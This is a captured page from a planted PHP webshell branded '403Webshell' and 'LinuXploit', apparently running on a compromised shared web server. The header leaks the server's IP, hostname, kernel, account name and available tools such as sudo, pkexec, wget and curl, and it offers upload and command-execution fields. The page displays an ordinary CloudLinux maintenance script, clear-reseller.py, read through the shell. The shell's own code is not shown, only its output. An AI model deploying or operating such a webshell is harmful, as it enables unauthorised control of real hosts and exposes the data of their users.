- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.144.98.61
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/l.v.e-manager/utils/downgrades/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/l.v.e-manager/utils/downgrades/clear-reseller.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding:utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import getopt
import os
import shutil
import subprocess
import sys

import cldetectlib as detect

SOURCE_PATH = "/usr/share/l.v.e-manager/"
ROOT_DA_DIR = "/usr/local/directadmin/plugins/"
ROOT_PLESK_DIR = "/usr/local/psa/admin/"


def main():
    detect.getCP()
    try:
        # Notice: This argument added for disable uninstalling plugin
        # when upgrade from lvemanager <= 4.0 versions.
        # Without this argument do nothing (called from %preun spec section in <= 4.0)
        opts, args = getopt.getopt(sys.argv[1:], "u", ["unregister"])
    except getopt.GetoptError as err:
        sys.exit(2)
    for o, a in opts:
        if o in ("-u", "--unregister"):
            unregister()
            sys.exit()


def unregister():
    if detect.CP_NAME == "cPanel":
        if os.path.exists(SOURCE_PATH+'utils/install-cpanel-plugin.sh'):
            subprocess.run(SOURCE_PATH+'utils/install-cpanel-plugin.sh unregister', shell=True, executable='/bin/bash')
    elif detect.CP_NAME == "DirectAdmin":
        if os.path.exists(ROOT_DA_DIR+"lvemanager_spa/reseller"):
            shutil.rmtree(ROOT_DA_DIR+"lvemanager_spa/reseller")
        if os.path.exists(ROOT_DA_DIR+"lvemanager_spa/hooks/reseller_txt.html"):
            os.remove(ROOT_DA_DIR+"lvemanager_spa/hooks/reseller_txt.html")
    elif detect.CP_NAME == "Plesk":
        if os.path.exists(ROOT_PLESK_DIR+"plib/modules/plesk-lvemanager/hooks/CustomButtons.php"):
            os.remove(ROOT_PLESK_DIR+"plib/modules/plesk-lvemanager/hooks/CustomButtons.php")


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit